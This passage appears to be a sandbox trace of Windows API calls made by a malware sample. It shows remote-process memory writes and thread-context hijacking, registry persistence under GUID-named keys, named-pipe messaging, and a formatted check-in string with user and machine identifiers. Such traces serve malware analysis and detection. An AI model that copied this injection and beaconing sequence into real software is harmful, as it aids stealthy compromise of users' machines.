[158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0081.692] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.692] NtWriteVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0x250000, Buffer=0x278f2f0*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x26ce60 | out: Buffer=0x278f2f0*, NumberOfBytesWritten=0x26ce60*=0x318) returned 0x0 [0081.693] NtSetContextThread (ThreadHandle=0x5e0, Context=0x26cb94*(ContextFlags=0x10003, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0xd61c9a, Ecx=0x0, Eax=0x250000, Ebp=0x37fe9c, Eip=0x250218, SegCs=0x23, EFlags=0x246, Esp=0x37fe94, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0081.693] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.693] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0081.693] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5860000) returned 0x0 [0081.705] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.705] CloseHandle (hObject=0x5ec) returned 1 [0081.705] VirtualProtectEx (in: hProcess=0x5e4, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26cec8 | out: lpflOldProtect=0x26cec8*=0x20) returned 1 [0081.705] NtWriteVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0xd61c9a, Buffer=0x26d1c0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x26cec4 | out: Buffer=0x26d1c0*, NumberOfBytesWritten=0x26cec4*=0x4) returned 0x0 [0081.705] VirtualProtectEx (in: hProcess=0x5e4, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26cec8 | out: lpflOldProtect=0x26cec8*=0x40) returned 1 Thread: id = 53 os_tid = 0xb5c Thread: id = 64 os_tid = 0xb9c [0073.729] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x204 [0073.729] WaitForMultipleObjects (nCount=0x2, lpHandles=0x306fc94*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 65 os_tid = 0xba0 [0073.736] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x218 [0073.736] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x214 [0073.736] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x21c [0073.736] SetLastError (dwErrCode=0xb7) [0073.736] CreateEventA (lpEventAttributes=0x4c9084, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x220 [0073.736] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x224 [0073.736] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x228 [0073.736] SetLastError (dwErrCode=0xb7) [0073.736] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x22c [0073.736] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x230 [0073.736] SetLastError (dwErrCode=0xb7) [0073.736] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.910] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x0 [0095.910] CreateWaitableTimerA (lpTimerAttributes=0x4c9084, bManualReset=1, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x6d8 [0095.910] GetLastError () returned 0x0 [0095.913] GetProcAddress (hModule=0x76d00000, lpProcName="PathFindFileNameA") returned 0x76d100aa [0095.913] PathFindFileNameA (pszPath="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0095.914] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f768 | out: phkResult=0x317f768*=0x6d4) returned 0x0 [0095.914] RegQueryValueExA (in: hKey=0x6d4, lpValueName="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}", lpReserved=0x0, lpType=0x317f764, lpData=0x0, lpcbData=0x317f798*=0xffffffff | out: lpType=0x317f764*=0x0, lpData=0x0, lpcbData=0x317f798*=0x0) returned 0x2 [0095.914] RegCloseKey (hKey=0x6d4) returned 0x0 [0095.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x317f768 | out: lpSystemTimeAsFileTime=0x317f768*(dwLowDateTime=0xe25a3b90, dwHighDateTime=0x1d51ed4)) [0095.914] PathFindFileNameA (pszPath="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0095.914] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f744 | out: phkResult=0x317f744*=0x6d4) returned 0x0 [0095.914] GetProcAddress (hModule=0x75220000, lpProcName="RegSetValueExA") returned 0x752314b3 [0095.914] RegSetValueExA (in: hKey=0x6d4, lpValueName="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}", Reserved=0x0, dwType=0x3, lpData=0x317f768*, cbData=0x8 | out: lpData=0x317f768*) returned 0x0 [0095.915] RegCloseKey (hKey=0x6d4) returned 0x0 [0095.915] SetWaitableTimer (hTimer=0x6d8, lpDueTime=0x317f768, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0095.915] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0100.669] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x554 [0100.669] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f7f0 | out: phkResult=0x317f7f0*=0x724) returned 0x0 [0100.669] GetProcAddress (hModule=0x75220000, lpProcName="RegNotifyChangeKeyValue") returned 0x7522e15b [0100.669] RegNotifyChangeKeyValue (hKey=0x724, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x554, fAsynchronous=1) returned 0x0 [0100.669] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x4 [0100.669] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0100.669] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0100.669] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x0 [0100.669] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x0 [0100.669] SetWaitableTimer (hTimer=0x22c, lpDueTime=0x317f808, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0100.669] SwitchToThread () returned 1 [0100.681] ReleaseMutex (hMutex=0x230) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0100.705] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x27889f8, nInBufferSize=0xc, lpOutBuffer=0x317f784, nOutBufferSize=0xc, lpBytesRead=0x317f790, nTimeOut=0x1 | out: lpOutBuffer=0x317f784, lpBytesRead=0x317f790) returned 1 [0100.707] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0100.707] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0x2710) returned 0x102 [0111.580] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x317f77c | out: phkResult=0x317f77c*=0x72c) returned 0x0 [0111.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f470 [0111.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f580 [0111.581] GetProcAddress (hModule=0x75220000, lpProcName="RegEnumValueA") returned 0x7522cf49 [0111.581] RegEnumValueA (in: hKey=0x72c, dwIndex=0x0, lpValueName=0x278f470, lpcchValueName=0x317f788, lpReserved=0x0, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794 | out: lpValueName="AECAA210A7EA5C4A0F", lpcchValueName=0x317f788, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794) returned 0x0 [0111.759] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x730 [0111.765] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0111.765] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x734 [0111.765] WriteFile (in: hFile=0x730, lpBuffer=0x317f650*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x317f650*, lpNumberOfBytesWritten=0x317f63c*=0xc, lpOverlapped=0x317f614) returned 1 [0111.765] CloseHandle (hObject=0x734) returned 1 [0111.765] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x734 [0111.765] WriteFile (in: hFile=0x730, lpBuffer=0x278f580*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x278f580*, lpNumberOfBytesWritten=0x317f63c*=0x5c, lpOverlapped=0x317f614) returned 1 [0111.773] CloseHandle (hObject=0x734) returned 1 [0111.773] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x734 [0111.773] ReadFile (in: hFile=0x730, lpBuffer=0x317f64c, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x317f638, lpOverlapped=0x317f610 | out: lpBuffer=0x317f64c*, lpNumberOfBytesRead=0x317f638*=0xc, lpOverlapped=0x317f610) returned 1 [0111.773] CloseHandle (hObject=0x734) returned 1 [0111.773] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x734 [0111.773] ReadFile (in: hFile=0x730, lpBuffer=0x317f688, nNumberOfBytesToRead=0x98, lpNumberOfBytesRead=0x317f634, lpOverlapped=0x317f60c | out: lpBuffer=0x317f688*, lpNumberOfBytesRead=0x317f634*=0x98, lpOverlapped=0x317f60c) returned 1 [0111.773] CloseHandle (hObject=0x734) returned 1 [0111.773] OpenFileMappingA (dwDesiredAccess=0x80000000, bInheritHandle=0, lpName="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned 0x734 [0111.773] CloseHandle (hObject=0x730) returned 1 [0111.774] MapViewOfFile (hFileMappingObject=0x734, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3) returned 0x4760000 [0111.775] lstrlenA (lpString="AECAA210A7EA5C4A0F") returned 18 [0111.775] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0111.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2e) returned 0x278ede8 [0111.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x278ede8, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", lpUsedDefaultChar=0x0) returned 45 [0111.775] PathFindFileNameA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned="2855.bin" [0111.775] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278f690 [0111.775] wsprintfA (in: param_1=0x278f690, param_2="version=%u&soft=1&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&guid=%08x%08x%08x%08x" | out: param_1="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 